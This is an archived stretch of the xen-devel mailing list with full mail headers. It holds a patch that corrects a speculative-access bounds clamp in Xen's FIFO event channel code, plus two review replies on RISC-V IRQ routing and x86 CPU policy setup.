	MIME_TRACE(0.00)[0:+];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	RCPT_COUNT_SEVEN(0.00)[9];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	SPAMHAUS_XBL(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	DKIM_TRACE(0.00)[suse.com:+]
X-Spam-Flag: NO
X-Spam-Score: -3.01
X-Spam-Level: 
X-Rspamd-Queue-Id: DE7E83E08
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Action: no action
X-purgate-ID: tlsNG-ebf023/1785334385-C32CCB50-557DE739/0/0
X-purgate-type: clean
X-purgate-size: 1332

The size passed to array_index_nospec() in evtchn_fifo_word_from_port()
doesn't match the value it is meant to clamp.

Fix it by clamping the port to a safe interval and use that value to
calculate the event_array[] index and the offset into the page
addressed by the array element.

Fixes: 443d3ab6daee ("evtchn: block speculative out-of-bound accesses")
Signed-off-by: Juergen Gross <jgross@suse.com>
---
 xen/common/event_fifo.c | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/xen/common/event_fifo.c b/xen/common/event_fifo.c
index cae08a594e..eb8e26bba1 100644
--- a/xen/common/event_fifo.c
+++ b/xen/common/event_fifo.c
@@ -71,11 +71,10 @@ static inline event_word_t *evtchn_fifo_word_from_port(const struct domain *d,
      */
     smp_rmb();
 
-    p = array_index_nospec(port / EVTCHN_FIFO_EVENT_WORDS_PER_PAGE,
-                           d->evtchn_fifo->num_evtchns);
-    w = port % EVTCHN_FIFO_EVENT_WORDS_PER_PAGE;
+    p = array_index_nospec(port, d->evtchn_fifo->num_evtchns);
+    w = p % EVTCHN_FIFO_EVENT_WORDS_PER_PAGE;
 
-    return d->evtchn_fifo->event_array[p] + w;
+    return d->evtchn_fifo->event_array[p / EVTCHN_FIFO_EVENT_WORDS_PER_PAGE] + w;
 }
 
 static void cf_check evtchn_fifo_init(struct domain *d, struct evtchn *evtchn)
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:15:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:15:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376024.1622993 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp54H-0005MC-TX; Wed, 29 Jul 2026 14:15:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376024.1622993; Wed, 29 Jul 2026 14:15:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp54H-0005M5-Qq; Wed, 29 Jul 2026 14:15:33 +0000
Received: by outflank-mailman (input) for mailman id 1376024;
 Wed, 29 Jul 2026 14:15:32 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wp54G-0005Lz-5Z
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:15:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp54F-000UWr-IH
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:15:31 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6a0afa-2eae-0a2a0a5409dd-0a2a4506e9a4-42
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:15:31 +0200
Received: from [209.85.221.50] (helo=mail-wr1-f50.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6a0b03-195a-0a2a45060019-d155dd32b07c-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:15:31 +0200
Received: by mail-wr1-f50.google.com with SMTP id
 ffacd0b85a97d-472326ca506so757597f8f.2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:15:31 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d777afsm73762045e9.4.2026.07.29.07.15.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 07:15:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785334531; x=1785939331; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=G4akCB60+mc/HX+mpRkxfzDdfAqBp/K6o/9JPBYHwu0=;
        b=W7R5qcir73EsBJZeUT3AiLJp3/i6xeNYoBrSFx6kWweyYh7vuSGZ2wJvqVxmKzTz5k
         U4rxV+xQzheRVJXacW0zYarLQi61KgFlbvCewReD6kyFA5pPeuVXX+5voUlr2rwPwcsR
         2JjnYC6c/zuFut2os+h7sKbWqXCPy1AlbhHLptRNOaMfamVeuS7FBozgVxpyQs3eEn3e
         Y+W89jfBm3aA9GMegvdquwyrcyg9gf4fnR5PK02dkbHjCDzXzhwQi3SMVYueIHTkkjkn
         8NOpZq5CvxEJJRWkosqbgsyxwJdWHzHat3wLSr16CUvFpQwxU8UcQh41EtIvuEjvpwUX
         B92g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785334531; x=1785939331;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=G4akCB60+mc/HX+mpRkxfzDdfAqBp/K6o/9JPBYHwu0=;
        b=UtZvOWWbqj8qt0K2yhHr3k/C7ia78TfQsfFW0tmyJrn14HpyirWYHuEszWswoLjVyf
         6KZEF7sPinVRwj9cA7xNw5hsbTKU5Ej09psRPvHTKF64jbcJcXKKKIp71zediii1qLS2
         IFVuy53WAV1eRsasz9xcbbnZVkHrI5QYq+7wkg1PTteySeur5K4PYE9iZq2/hd/QaDeq
         OSL2VDZEiE79ArUXVkgzWPgr7vPyzupf033u8tiAmPbt9egORfnJF1YYwO6qHE/Rmb0q
         HM/Yaljn23w/LlctC0c100IJeq061LDRhvOOSqNV56TN0P9rm6MHfNwJ7CpGCuUCiNTw
         fcFQ==
X-Forwarded-Encrypted: i=1; AHgh+RpW+1mW1zIBhCNiSg2kSvzB+CHlwy2W+MBtDo0epiEjmkR/kpK64btOZUiM3R/u1vTIAv+4xUoN3U4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwARXNKu4p/mdoODE8y2PC9EB5Z+CKBhzq+Fq6nOBXIp8rJBmoa
	Mz+9l9fdtFASk67OTkjpC2KL8g5Yl4Rs5hbaQTWomsowvr0K3nMcd+KGVe7TpLCotg==
X-Gm-Gg: AR+sD123HDxsuRNy9KyPucG5mMSvQ5H/hZSRifpZymKJyzCFiEPfwu2MF2M4XWl1gQG
	8KilZzUp91tHSGqoS6uPoryQx9wA+lo52TXwTB3mjKXMunJv1g6FuXNdcDEek2dFxuNyImS7oC8
	8ODWTKjkTw0N1FqpQoO1Y4EhPZQVqSJESQqJ13rluhVNSWlQbNgZOQiml8pHGX4mV2eNsJcJeAN
	DIODtBfFy7UMB74xOdmWrPksBTWU0dykTILs7uIpVg+kQ4tWG+Quggt7eWw7kTYVTtdAwIwavL8
	7VeapJ/Dpfv3LI3egvSNaRRxVFrjN5tU8M63kkqP78ZNnCIsi6aR9EwnzLdYo5ONf5PxUosGdAO
	Zy1jA346URROT809wpp5JU4UeUYhIaOrdaXbI8/cbNa9TbwD/ID5jyMH3XwPYcIVzroqpIrXJO6
	vhX7EsGrkm3CWyiadE3oYDJLCPu7tVmtG+/xc3Ag8nUYEtapjCXVnT/h5fbAq8witQcMjKyyTNA
	ZM291eKcaYFMM6UAHdsBZ0qWF14Jrj2C0HC0+UbMX6x98Q99Guy
X-Received: by 2002:a05:600c:3b10:b0:492:45a0:dcef with SMTP id 5b1f17b1804b1-496c6410257mr71202785e9.5.1785334530907;
        Wed, 29 Jul 2026 07:15:30 -0700 (PDT)
Message-ID: <534eef4c-7f5d-4565-97b8-e0cc3b3290c2@suse.com>
Date: Wed, 29 Jul 2026 16:15:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 18/23] xen/riscv: implement IRQ routing for device
 passthrough
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
 <c64fc958-73bb-44ed-a3b2-dc368ce675ac@suse.com>
 <6cebc63c-2f21-4ef8-ab10-e2ec62f887b7@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <6cebc63c-2f21-4ef8-ab10-e2ec62f887b7@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785334531-F607177B-3ED072EC/0/0
X-purgate-type: clean
X-purgate-size: 1325

On 29.07.2026 13:59, Oleksii Kurochko wrote:
> On 7/23/26 3:30 PM, Jan Beulich wrote:
>> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>>> +/* Route an IRQ to a specific guest */
>>> +int route_irq_to_guest(struct domain *d, unsigned int virq,
>>> +                       unsigned int irq, const char *devname)
>>> +{
>>> +    struct irqaction *action;
>>> +    struct irq_guest *info;
>>> +    struct irq_desc *desc;
>>> +    unsigned long flags;
>>> +    int retval = 0;
>>> +
>>> +    if ( d->is_dying )
>>> +        return -EINVAL;
>>> +
>>> +    desc = irq_to_desc(irq);
>>> +
>>> +    /*
>>> +     * release_irq() frees this action via xvfree(), relying on action
>>> +     * being the first member of struct irq_guest so that &info->action
>>> +     * coincides with info itself. Guard the layout so a future field
>>> +     * reorder can't silently turn that into a free() of a mid-allocation
>>> +     * pointer.
>>> +     */
>>> +    BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
>>
>> Can't release_irq() simply use container_of()? One way or another it feels
>> like you're painting yourself into a particular corner ...
> 
> If it isn't the best option then it is needed to follow they way we had 
> before:

I don't understand why you think you need to go back.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:21:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:21:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376037.1623002 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5AL-0007MZ-Hs; Wed, 29 Jul 2026 14:21:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376037.1623002; Wed, 29 Jul 2026 14:21:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5AL-0007MS-FJ; Wed, 29 Jul 2026 14:21:49 +0000
Received: by outflank-mailman (input) for mailman id 1376037;
 Wed, 29 Jul 2026 14:21:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp5AJ-0007MM-94
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:21:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp5AI-000ETF-M0
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:21:46 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fae40a900000e099@swg.vates.tech>)
 id 6a6a0c71-e002-0a2a0a5209dd-0a2a4507c6aa-28
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:21:46 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fae40a900000e099@swg.vates.tech>)
 id 6a6a0c79-b4ea-0a2a45070019-b9ff1c22b6fd-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:21:46 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fae40a900000e099.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 14:21:40 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 2D94C81C1D;
 Wed, 29 Jul 2026 16:21:40 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=oq7+l4UxWcyMbFULAg6Ak2HLe75d3PW1dyViCebHpxw=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=BSmi/XawpVYJW2YnUT/oGsPNBhOfFgs0dypWBB9YRkw3YTnqswCRA0oH/lmAbY7GpCXVsB7d6
 WjKH2ftvD2H/RP2riWkG13ZgSoj6YO9PIqdAEpdfugVTTUAL7mF6wShHEY3e1id4ItEqEmIkgeU
 VlWqIzIMhTNwIB6aOuA9YzFiHiOO2jy11Z6aIIc5VI85X+tRX4dWZTQL0mPVrZ93snatfjnQvAb
 AWs2QKx/J+syWMneTQMXguhqglEG8o4a6yOQ3yt3QF3X0WK5UYEjCqY0ajWkJv7rZD1d7nkMzWH
 9I7tmxjPsT5lNeU+ukLDOmxAWLabc6bZKyzd6qchKhqw==
X-Zone-Loop: a8683482a2da3466937d058eb4bba5398fc007132a49
x-campaign-type: default
x-transaction-id: d4d2196a-48de-4e95-9965-571cba2910d3
x-swg-uid: 01-402ee8c3-139a-410b-8140-2874dd88a783
X-Mailer: Sweego
Message-ID:
 <1785334901.8631fc262581453bbf619ec5b2062170.19fae40a900000e099@vates.tech>
x-swg-bid: 1785334901.8631fc262581453bbf619ec5b2062170.19fae40a900000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 29 Jul 2026 16:21:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 for-4.22] x86/cpu-policy: set up host policy earlier
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <da502f31-17fa-4b2d-90e3-1f6988717454@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyO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zHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <da502f31-17fa-4b2d-90e3-1f6988717454@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------gDIsH353XH9uw7xyuYf0R3gs"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785334900369
X-purgate-ID: tlsNG-ef75cf/1785334906-A7AD0AE4-70CEDE54/10/73395122804
X-purgate-type: spam
X-purgate-size: 6558

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------gDIsH353XH9uw7xyuYf0R3gs
Content-Type: multipart/mixed; boundary="------------vusaB2Lq4I2SOGCjfzhrSbtS";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Message-ID: <3cadf821-118e-4cc3-b933-384b0c68b8c0@vates.tech>
Subject: Re: [PATCH v3 for-4.22] x86/cpu-policy: set up host policy earlier
References: <da502f31-17fa-4b2d-90e3-1f6988717454@suse.com>
In-Reply-To: <da502f31-17fa-4b2d-90e3-1f6988717454@suse.com>

--------------vusaB2Lq4I2SOGCjfzhrSbtS
Content-Type: multipart/mixed; boundary="------------UWj05hT0Ru4UqnoA0ExkkVV9"

--------------UWj05hT0Ru4UqnoA0ExkkVV9
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDgvMDcvMjAyNiDDoCAxNjo1NSwgSmFuIEJldWxpY2ggYSDDqWNyaXTCoDoNCj4gSW4g
b3JkZXIgdG8gdXNlIGNwdV9oYXNfKiBleHBhbmRpbmcgdG8gaG9zdF9jcHVfcG9saWN5Lios
IHRoZSBob3N0IHBvbGljeQ0KPiBuZWVkcyBzZXR0aW5nIHVwIGFsb25nc2lkZSBib290X2Nw
dV9kYXRhLng4Nl9jYXBhYmlsaXR5W10uIEFycmFuZ2UgZm9yDQo+IHRoYXQgdG93YXJkcyB0
aGUgZW5kIG9mIGlkZW50aWZ5X2NwdSgpLiBUaGVuIG1ha2Ugc3VyZSAueDg2X2NhcGFiaWxp
dHlbXQ0KPiBhbmQgaG9zdCBwb2xpY3kgcmVtYWluIGluIHN5bmMgd2hlbiBzZXR1cF97Zm9y
Y2UsY2xlYXJ9X2NwdV9jYXAoKSBhcmUNCj4gdXNlZC4NCj4gDQo+IFJlbmFtZSB0aGUgZnVu
Y3Rpb24gbm93IGl0J3Mgbm8gbG9uZ2VyIHN0YXRpYy4NCj4gDQo+IEZpeGVzOiA4OTRiZDc2
MTc5MjQgKCJ4ODYvSW50ZWw6I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oA0ExkkVV9
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+YHccJY8PvWSq2K2yiae2KGiAv1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50
wvDohN1zUQf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urUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------UWj05hT0Ru4UqnoA0ExkkVV9--

--------------vusaB2Lq4I2SOGCjfzhrSbtS--

